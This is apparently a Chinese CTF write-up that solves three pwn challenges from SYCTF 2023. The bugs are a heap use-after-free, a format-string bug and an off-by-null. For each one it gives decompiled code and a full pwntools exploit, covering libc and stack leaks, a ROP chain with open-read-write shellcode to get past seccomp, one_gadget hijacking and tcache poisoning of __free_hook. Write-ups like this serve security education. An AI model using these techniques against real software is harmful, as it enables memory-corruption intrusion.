2023-syctf-pwn复现


computer

本题模拟了计算机的一些操作,本质上还是一些2.27堆的add delete show操作

unsigned __int64 __fastcall op(__int64 *a1, __int64 a2, __int64 a3, const char **a4)
{
  __isoc99_sscanf(a2, "%256s %256s", command, argument);
  ...
  if ( !strcmp(command, "touch") )              // add
  {
    if ( (*(_DWORD *)(*a1 + 48) & 2) != 0 )
    {
      str = add(argument, 0, *a1, 6);
      add_list(*a1, (__int64)str);
      return __readfsqword(0x28u) ^ v25;
    }
    goto LABEL_107;
  }
  if ( !strcmp(command, "exec") )               // add
  {
    for ( i = *(_QWORD *)(*a1 + 32); i; i = *(_QWORD *)(i + 40) )
    {
      if ( !*(_DWORD *)(i + 8) && !strcmp(*(const char **)i, argument) )
      {
        if ( !strcmp(*a4, "root") || (*(_DWORD *)(i + 48) & 4) != 0 && pid_count <= 15 )
        {
          count = pid_count;
          pid_list[count] = (pid *)malloc(0x10uLL);
          LODWORD(pid_list[pid_count]->pid) = pid_count;
          pid_ = pid_list[pid_count];
          pid_->name = (__int64)strdup(argument);
          ++pid_count;
          puts(aExecOver);
          return __readfsqword(0x28u) ^ v25;
        }
        goto LABEL_107;
      }
    }
  }
  ...
  else if ( !strcmp(command, "ps") )            // show
  {
    atoi(argument);
    puts("pid:\tname:");
    for ( index = 0; index < pid_count; ++index )
    {
      if ( pid_list[index] )
        printf("%d\t%s\n", LODWORD(pid_list[index]->pid), (const char *)pid_list[index]->name);
    }
  }
  else if ( !strcmp(command, "kill") )          // free
  {
    pid = atoi(argument);
    if ( pid >= 0 && pid <= pid_count )
    {
      free((void *)pid_list[pid]->name);
      free(pid_list[pid]);                      // uaf
      --pid_count;
      printf("%d had been killed\n", (unsigned int)pid);
    }
  }
  else if ( !strcmp(command, "rm") )            // free
  {
    if ( (*(_DWORD *)(*a1 + 48) & 2) == 0 )
      goto LABEL_107;
    v15 = 0LL;
    for ( n = *(_QWORD *)(*a1 + 32); n; n = *(_QWORD *)(n + 40) )
    {
      if ( !strcmp(*(const char **)n, argument) )
      {
        if ( v15 )
          *(_QWORD *)(v15 + 40) = *(_QWORD *)(n + 40);
        else
          *(_QWORD *)(*a1 + 32) = *(_QWORD *)(n + 40);
        *(_QWORD *)(n + 40) = 0LL;
        sub_2CE0(n);
        return __readfsqword(0x28u) ^ v25;
      }
      v15 = n;
    }
  }
  ...
}

kill会释放由exec创建的堆,rm会释放掉由touch创建的文件,ps会输出exec创建的堆,kill指令中存在uaf漏洞

程序开了沙箱保护,不能直接getshell,只能将返回地址改成orw指令

➜  computer seccomp-tools dump ./pwn
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x02 0xc000003e  if (A != ARCH_X86_64) goto 0004
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x15 0x00 0x01 0x0000003b  if (A != execve) goto 0005
 0004: 0x06 0x00 0x00 0x00030000  return TRAP
 0005: 0x06 0x00 0x00 0x7fff0000  return ALLOW

第一步就是泄露libc地址、栈地址,由于存在uaf漏洞所以直接创建一个unsorted bin即可泄露libc地址,再将fd改成environ即可泄露栈地址

r.sendlineafter(b'> ', b'touch ' + b'a' * 0xe7)
for i in range(16):
    r.sendlineafter(b'> ', b'exec ' + b'a' * 0xe7)
for i in range(10):
    r.sendlineafter(b'> ', 'touch ' + str(i))
for i in range(8)[::-1]:
    r.sendlineafter(b'> ', 'kill ' + str(i))    #fill up tcache

r.sendlineafter(b'> ', b'ps')
libc_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x3ebca0     #leak libc

r.sendlineafter(b'> ', b'touch ' + b'b' * 8 + p64(libc_base + 0x3ee098))    #environ
r.sendlineafter(b'> ', b'ps')
r.recvuntil(b'name:\n')
heap_base = u64(r.recvuntil(b'\n')[2:8].ljust(8, b'\x00')) - 0x660

r.recvuntil(b'\t')
stack_addr = u64(r.recvuntil(b'\n')[:6].ljust(8, b'\x00'))

接下来就是改返回地址为orw,利用uaf改堆的fd为函数的返回地址,再将堆都申请出来即可申请到返回地址

exp:

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
    r = remote()
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

r.sendlineafter(b'> ', b'touch ' + b'a' * 0xe7)
for i in range(16):
    r.sendlineafter(b'> ', b'exec ' + b'a' * 0xe7)
for i in range(10):
    r.sendlineafter(b'> ', 'touch ' + str(i))
for i in range(8)[::-1]:
    r.sendlineafter(b'> ', 'kill ' + str(i))    #fill up tcache

r.sendlineafter(b'> ', b'ps')
libc_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x3ebca0     #leak libc

r.sendlineafter(b'> ', b'touch ' + b'b' * 8 + p64(libc_base + 0x3ee098))    #environ
r.sendlineafter(b'> ', b'ps')
r.recvuntil(b'name:\n')
heap_base = u64(r.recvuntil(b'\n')[2:8].ljust(8, b'\x00')) - 0x660

r.recvuntil(b'\t')
stack_addr = u64(r.recvuntil(b'\n')[:6].ljust(8, b'\x00'))

r.sendlineafter(b'> ', b'rm 0')
r.sendlineafter(b'> ', b'rm 1')

r.sendlineafter(b'> ', b'kill 0')

r.sendlineafter(b'> ', b'mkdir new')
r.sendlineafter(b'> ', b'cd new')
r.sendlineafter(b'> ', b'touch 0')
r.sendlineafter(b'> ', b'touch 1')
r.sendlineafter(b'> ', b'touch 2')
r.sendlineafter(b'> ', b'touch ' + p64(stack_addr - 0xb28))
r.sendlineafter(b'> ', b'touch ' + b'3' * 0x19)

p = flat([libc_base + 0x000000000002164f, (stack_addr - 0xb28) & (~0xfff),
          libc_base + 0x0000000000023a6a, 0x1000, libc_base + 0x0000000000001b96,
          7, libc_base + 0x000000000001b500, 10 + 0x10, libc_base + 0x000000000009a872,
          libc_base + 0x00000000000d2625, libc_base + 0x0000000000002b25])
p += asm('''
    mov eax, 0x67616c66 ;// flag
    push rax

    mov rdi, rsp
    xor eax, eax
    mov esi, eax
    mov al, 2
    syscall ;// open

    push rax
    mov rsi, rsp
    xor eax, eax
    mov edx, eax
    inc eax
    mov edi, eax
    mov dl, 8
    syscall ;// write open() return value

    pop rax
    test rax, rax
    js over

    mov edi, eax
    mov rsi, rsp
    mov edx, 0x01010201
    sub edx, 0x01010101
    xor eax, eax
    syscall ;// read

    mov edx, eax
    mov rsi, rsp
    xor eax, eax
    inc eax
    mov edi, eax
    syscall ;// write

over:
    xor edi, edi
    mov eax, 0x010101e8
    sub eax, 0x01010101
    syscall ;// exit

''')

r.sendlineafter(b'> ', b'touch ' + b'c' * 8 + p64(libc_base + 0x00000000000baf9c) + b'a' * 218 + p)

r.interactive()

harde-pwn

首先需要通过一个game,通过溢出改seed = 0,然后联合C编程计算随机数

_DWORD *fuxk_game()
{
  _DWORD *result; // rax
  char buf[28]; // [rsp+0h] [rbp-40h] BYREF
  __int64 seed; // [rsp+1Ch] [rbp-24h]
  int v3; // [rsp+24h] [rbp-1Ch] BYREF
  int v4; // [rsp+28h] [rbp-18h]
  int i; // [rsp+2Ch] [rbp-14h]

  puts("Welcome to a ctype game!");
  seed = randomm();
  read(0, buf, 0x20uLL);
  srand(seed);
  for ( i = 0; i <= 20; ++i )
  {
    v4 = (rand() ^ 0x24) + 1;
    puts("input: ");
    __isoc99_scanf("%d", &v3);
    if ( v4 != v3 )
    {
      puts("fuxk up!");
      exit(1);
    }
    puts("Success!");
  }
  result = &is_fmt;
  is_fmt = 1;
  return result;
}

接着进入一个无限次堆上的格式化字符串函数

void __noreturn heap_fmt()
{
  char *ptr; // [rsp+8h] [rbp-8h]

  for ( ptr = 0LL; ; printf(ptr) )
  {
    ptr = (char *)realloc(ptr, 0x1000uLL);
    my_write("input your data ;)\n");
    read(0, ptr, 0x1000uLL);
  }
}

因为got表不可写且for是死循环,所以需要改printf的返回地址最终运行到ogg

► 0x7ffff7c6082f <printf+191>             add    rsp, 0xd8
  0x7ffff7c60836 <printf+198>             ret    

返回地址是rsp,并且在原本的地址上加了0xd8,因此将rsp+0xd8的地方改成__libc_csu_init+97,因为地址位数相差过大不能直接改ogg

pwndbg> stack
00:0000│ rsp 0x7fffffffdd60 ◂— 0x3000000010
01:0008│     0x7fffffffdd68 —▸ 0x7fffffffde40 ◂— 0x0
02:0010│     0x7fffffffdd70 —▸ 0x7fffffffdd80 ◂— 0x1
03:0018│     0x7fffffffdd78 ◂— 0x9d5edc9b23af5200
04:0020│     0x7fffffffdd80 ◂— 0x1
05:0028│     0x7fffffffdd88 —▸ 0x55555555b2a0 ◂— '%177c%45$hhn'
06:0030│     0x7fffffffdd90 ◂— 0x1000
07:0038│     0x7fffffffdd98 —▸ 0x7ffff7d14992 (read+18) ◂— cmp    rax, -0x1000 /* 'H=' */
pwndbg> 
08:0040│  0x7fffffffdda0 —▸ 0x55555555b2a0 ◂— '%177c%45$hhn'
09:0048│  0x7fffffffdda8 ◂— 0x0
0a:0050│  0x7fffffffddb0 —▸ 0x55555555b2a0 ◂— '%177c%45$hhn'
0b:0058│  0x7fffffffddb8 ◂— 0x1000
0c:0060│  0x7fffffffddc0 —▸ 0x55555555b290 ◂— 0x0
0d:0068│  0x7fffffffddc8 ◂— 0x1010
0e:0070│  0x7fffffffddd0 ◂— 0x1010
0f:0078│  0x7fffffffddd8 —▸ 0x7ffff7ca5989 (realloc+457) ◂— mov    r8, rax
pwndbg> 
10:0080│  0x7fffffffdde0 ◂— 0x1000
11:0088│  0x7fffffffdde8 ◂— 0xff
12:0090│  0x7fffffffddf0 —▸ 0x555555555502 (main) ◂— endbr64 
13:0098│  0x7fffffffddf8 ◂— 0x0
14:00a0│  0x7fffffffde00 —▸ 0x7ffff7ffd040 (_rtld_global) —▸ 0x7ffff7ffe2e0 —▸ 0x555555554000 ◂— 0x10102464c457f
15:00a8│  0x7fffffffde08 —▸ 0x555555555365 (my_write+55) ◂— nop    
16:00b0│  0x7fffffffde10 —▸ 0x7fffffffde50 —▸ 0x7ffff7cebcf5 (execvpe+1141) ◂— mov    rsi, r10
17:00b8│  0x7fffffffde18 —▸ 0x55555555604b ◂— 'input your data ;)\n'
pwndbg> 
18:00c0│     0x7fffffffde20 —▸ 0x555555555502 (main) ◂— endbr64 
19:00c8│     0x7fffffffde28 ◂— 0x13
1a:00d0│     0x7fffffffde30 —▸ 0x7fffffffde50 —▸ 0x7ffff7cebcf5 (execvpe+1141) ◂— mov    rsi, r10
1b:00d8│     0x7fffffffde38 —▸ 0x5555555555b1 (__libc_csu_init+97) ◂— pop    rsi
1c:00e0│     0x7fffffffde40 ◂— 0x0
1d:00e8│     0x7fffffffde48 —▸ 0x55555555b2a0 ◂— '%177c%45$hhn'
1e:00f0│ rbp 0x7fffffffde50 —▸ 0x7ffff7cebcf5 (execvpe+1141) ◂— mov    rsi, r10
1f:00f8│     0x7fffffffde58 —▸ 0x555555555543 (main+65) ◂— mov    eax, 0

__libc_csu_init的返回地址是rsp,所以事先将rbp改成ogg,再利用__libc_csu_init+97的两次retrsp移到rbpretogg

exp:

from pwn import *
from ctypes import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
    r = remote()
else:
    r = process(file_name)

elf = ELF(file_name)
libc = cdll.LoadLibrary('./2.35/libc.so.6')

def dbg():
    gdb.attach(r)

seed = b'\x00' * 0x20
r.sendafter(b'Welcome to a ctype game!', seed)

seed = 0
libc.srand(seed)

for i in range(21):
    v6 = (libc.rand() ^ 0x24) + 1
    r.sendlineafter('input: ', str(v6))

r.sendafter(b'input your data ;)\n', b'%8$p%11$p%7$p')

r.recvuntil(b'0x')
stack = int(r.recv(12), 16)

r.recvuntil(b'0x')
libc_base = int(r.recv(12), 16) - 0x29d90

r.recvuntil(b'0x')
heap_base = int(r.recv(12), 16) - 0x2a0

ret = stack - 8
ptr = stack - 0x18
rbp = stack - 0x10

one = [0x50a37, 0xebcf1, 0xebcf5, 0xebcf8, 0xebd52, 0xebdaf, 0xebdb3]
one_gadget = one[2] + libc_base
printf_ret = ptr - 0x10

for i in range(4):
    r.sendafter(b'input your data ;)\n', '%' + str((rbp + i) & 0xffff) + 'c%15$hn\x00')
    r.sendafter(b'input your data ;)\n', '%' + str((one_gadget >> i*8) & 0xff) + 'c%45$hhn\x00')

r.sendafter(b'input your data ;)\n', '%' + str(printf_ret & 0xffff) + 'c%15$hn\x00')
r.sendafter(b'input your data ;)\n', '%' + str(0xb1) + 'c%45$hhn\x00')

r.interactive()

pwnpwn

漏洞点

__int64 add()
{
    ...
    v10 = read(0, content, v9);
    *(_BYTE *)(v14 + v10) = 0;                  // off-by-null
  }
  do
    result = (((_BYTE)dword_2030B4 - 1) * (_BYTE)dword_2030B4) & 1;
  while ( dword_20302C >= 10 && (_DWORD)result != 0 );
  return result;
}

该题是有个2.31下的off-by-null利用题,其中需要注意的是

__int64 __fastcall check_pas(__int64 *a1)
{
  const char *v1; // rdi
  char len; // r8
  __int64 *len_addr; // rax
  int v4; // eax
  int v5; // eax
  const char *v7; // rdi
  char v8; // al
  __int64 *v9; // [rsp+0h] [rbp-40h] BYREF
  int v10; // [rsp+Ch] [rbp-34h]
  int v11; // [rsp+10h] [rbp-30h]
  bool judge; // [rsp+17h] [rbp-29h]
  __int64 *v13; // [rsp+18h] [rbp-28h]
  __int64 *v14; // [rsp+20h] [rbp-20h]
  __int64 *v15; // [rsp+28h] [rbp-18h]

  v15 = a1;
  if ( dword_2030AC >= 10 && ((((_BYTE)dword_203048 - 1) * (_BYTE)dword_203048) & 1) != 0 )
    goto LABEL_8;
  while ( 1 )
  {
    *(&v9 - 2) = v15;
    v1 = (const char *)*(&v9 - 2);
    v14 = (__int64 *)(&v9 - 2);
    v13 = (__int64 *)(&v9 - 2);
    len = strlen(v1);
    len_addr = v13;
    *(_BYTE *)v13 = len;
    judge = *(unsigned __int8 *)len_addr <= 2u;
    if ( dword_2030AC < 10 || ((((_BYTE)dword_203048 - 1) * (_BYTE)dword_203048) & 1) == 0 )
      break;
LABEL_8:
    *(&v9 - 2) = v15;
    v7 = (const char *)*(&v9 - 2);
    v9 = (__int64 *)(&v9 - 2);
    v8 = strlen(v7);
    *(_BYTE *)v9 = v8;
  }
  if ( judge || *(unsigned __int8 *)v13 > 7u )
  {
    v4 = printf("passwd error");
    check = 0;
    *(_DWORD *)v14 = 0;
    v11 = v4;
  }
  else
  {
    v5 = printf("passwd is ok");
    check = 1;
    *(_DWORD *)v14 = 0;
    v10 = v5;
  }
  return *(unsigned int *)v14;
}

存在一个检查password的函数,当password长度在(2,7]之间时返回1,否则返回0,并且在输入之前并不会清空缓冲区,即存在上次输入的内容

deleteshow函数中需要check0才能正常释放

char delete()
{
  ...
  do
    v6 = check == 1;
  while ( dword_203038 >= 10 && ((((_BYTE)dword_2030BC - 1) * (_BYTE)dword_2030BC) & 1) != 0 );
  LOBYTE(v2) = v6;
  if ( v6 )
  {
    free((void *)ptr[*v13]);
    v2 = ptr;
    ptr[*v13] = 0LL;
  }
  return (char)v2;
}
int show()
{
  ...
  if ( !check )
  {
    puts("content: ");
    LODWORD(heap_ptr) = puts((const char *)ptr[index]);
  }
  return (int)heap_ptr;
}

而在edit函数中需要check1才能正常释放

ssize_t edit()
{
  __int64 v1; // [rsp+50h] [rbp-20h] BYREF
  __int64 v2; // [rsp+58h] [rbp-18h]
  int index; // [rsp+64h] [rbp-Ch] OVERLAPPED BYREF

  if ( !check )
  {
    if ( dword_203028 < 10 || ((((_BYTE)dword_2030B0 - 1) * (_BYTE)dword_2030B0) & 1) == 0 )
    {
      puts("you can't do that");
      exit(0);
    }
    puts("you can't do that");
    exit(0);
  }
  ...
}

一开始需要通过一个猜数字的游戏,四个数字是根据时间随机生成的并且不能覆盖seed,直接联合C编程即可得到答案

首先泄露libc地址,直接创建属于unsorted bin的堆释放掉再创建回来之后show,堆中残留了unsorted bin中的地址,printf会存在\x00截断的问题,因此要用edit函数改fd位置的内容并去泄露bk位置的内容,因为edit函数会在输入长度不足的情况下自动补到0x8,所以输入的长度短也没问题

ssize_t edit()
{
  ...
  while ( 1 )
  {
    index = 0;
    puts("give me your index");
    __isoc99_scanf("%d", &index);
    v1 = 0xDEADBEEFDEADBEEFLL;
    v2 = 0xDEADBEEFDEADBEEFLL;
    sub_15C0(ptr[index], &v1);
    puts("give me your index");
    __isoc99_scanf("%d", &index);
    if ( dword_203028 < 10 || ((((_BYTE)dword_2030B0 - 1) * (_BYTE)dword_2030B0) & 1) == 0 )
      break;
LABEL_14:
    index = 0;
    puts("give me your index");
    __isoc99_scanf("%d", &index);
    v1 = 0xDEADBEEFDEADBEEFLL;
    v2 = 0xDEADBEEFDEADBEEFLL;
    sub_15C0(ptr[index], &v1);
    puts("give me your index");
    __isoc99_scanf("%d", &index);
  }
  ...
}

接下来需要泄露堆地址,这里需要用到large binfd_nextsizebk_nextsize链会链接到下一个堆或自身的特点,用相同的方法先把fdbk的位置覆盖掉再调用show函数泄露堆地址

最后就是布置堆进行off-by-null的利用,其中需要绕过对fdbk的检查,即Fd->bk == victimBk->fd == victim,最终实现overlap

exp:

from pwn import *
from ctypes import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
    r = remote()
else:
    r = process(file_name)

elf = ELF(file_name)
libc = cdll.LoadLibrary('./2.31/libc-2.31.so')

def dbg():
    gdb.attach(r)

seed = libc.time(0);
libc.srand(seed);

p = ''
for i in range(4):
   p += str(libc.rand() % 10)
r.sendlineafter(b'please input your number:', p)

def add(index, size, content):
    r.sendlineafter(b'root@$\n', '1')
    r.sendlineafter('give me your index:\n', str(index))
    r.sendlineafter('give me your size:\n', str(size))
    r.sendafter('give me your content:\n', content)

def show(index):
    r.sendlineafter('root@$\n', '2')
    r.sendlineafter('give me your index:\n', str(index))

def pd(username, passwd):
    r.sendlineafter('root@$\n', '5')
    r.sendafter('please input your username\n', username)
    r.sendafter('please input your passwd\n', passwd)

def edit(index, content):
    r.sendlineafter('root@$\n', '3')
    r.sendlineafter('give me your index\n', str(index))
    r.sendlineafter('give me your index\n', str(index))
    r.sendafter('give me your content:\n', content)

def delete(index):
    r.sendlineafter('root@$\n', '4')
    r.sendlineafter('give me your index:\n', str(index))

add(0, 0x410, b'a')
add(1, 0x20, b'a')
add(2, 0x20, b'a')
add(3, 0x4f0, b'a')
add(4, 0x10, b'a')
add(5, 0x20, b'a')

pd('a', 'a' * 3)
delete(0)

add(0, 0x410, b'aa')
edit(0, 'a')

pd('a', 'a' * 8)
show(0)

malloc_hook = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 96 - 0x10
libc = ELF('./2.31/libc-2.31.so')
libc_base = malloc_hook - libc.sym['__malloc_hook']

free_hook = libc_base + libc.sym['__free_hook']
one = [0xe6aee, 0xe6af1, 0xe6af4]
ogg = one[1] + libc_base

pd(b'a', b'aaa'.ljust(8, b'\x00'))
delete(0)

add(6, 0x500, b'a')
add(0, 0x410, b'a')

edit(0, 'a' * 0x10)
pd('a', 'a' * 8)

show(0)
r.recvuntil('a' * 0x10)
heap_base = u64(r.recv(6).ljust(8, b'\x00')) - 0x290

pd(b'a'.ljust(6, b'\x00'), b'aaa'.ljust(6, b'\x00'))
delete(2)

p1 = p64(heap_base + 0x6c0) + 0x18 * b'a' + p64(0x50)
add(2, 0x28, p1)
delete(1)

p2 = p64(0) + p64(0x51) + p64(heap_base + 0x6f0 - 0x18) + p64(heap_base + 0x6f0 - 0x10)
add(1, 0x28, p2)
delete(3)

add(3, 0x100, p64(0) * 3 + p64(0x31))

delete(5)
delete(2)
delete(3)

add(3, 0x100, p64(0) * 3 + p64(0x31) + p64(free_hook))

add(7, 0x20, b'a')

add(8, 0x20, p64(ogg))
delete(0)

r.interactive()

  目录